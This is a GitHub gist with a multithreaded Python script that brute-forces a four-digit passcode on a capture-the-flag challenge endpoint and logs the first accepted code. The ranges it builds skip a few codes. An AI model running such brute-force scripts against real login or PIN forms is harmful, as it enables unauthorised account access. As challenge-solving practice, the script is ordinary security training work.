Skip to content

Instantly share code, notes, and snippets.

@joshspicer
Created December 29, 2018 18:38
Show Gist options
  • Save joshspicer/4e44d8345ffb423cf4f77eb98f1423c0 to your computer and use it in GitHub Desktop.
Save joshspicer/4e44d8345ffb423cf4f77eb98f1423c0 to your computer and use it in GitHub Desktop.
import requests
import threading
import logging
import sys
URL = "https://challenges.ncc.ninja/<ID>/"
headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHTTPRequest"}
logging.basicConfig(
filename='ios5.log',
level=logging.DEBUG,
format='[%(levelname)s] (%(threadName)-10s) %(message)s',
)
def worker(start, end):
logging.debug(str(start))
logging.debug(str(end))
for i in range(start, end):
data = {"passcode": str(i).zfill(4)}
logging.debug(str(i).zfill(4))
r = requests.post(URL, data=data, headers=headers)
logging.debug(r.status_code)
logging.debug(r.text)
if r.text != "Try Again":
logging.info("[***] The passcode is: " + str(i).zfill(4))
logging.debug("===")
logging.debug(r.text)
logging.debug(r.status_code)
logging.debug(str(i).zfill(4))
logging.debug("===")
# 20 chunks of 500
threads = []
for i in range(0, 20):
print("Starting thread"+str(i))
start = 500*i
end = ((500*i)+500)-1
t = threading.Thread(name=str(start)+"-"+str(end),
target=worker, args=(start, end))
threads.append(t)
t.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment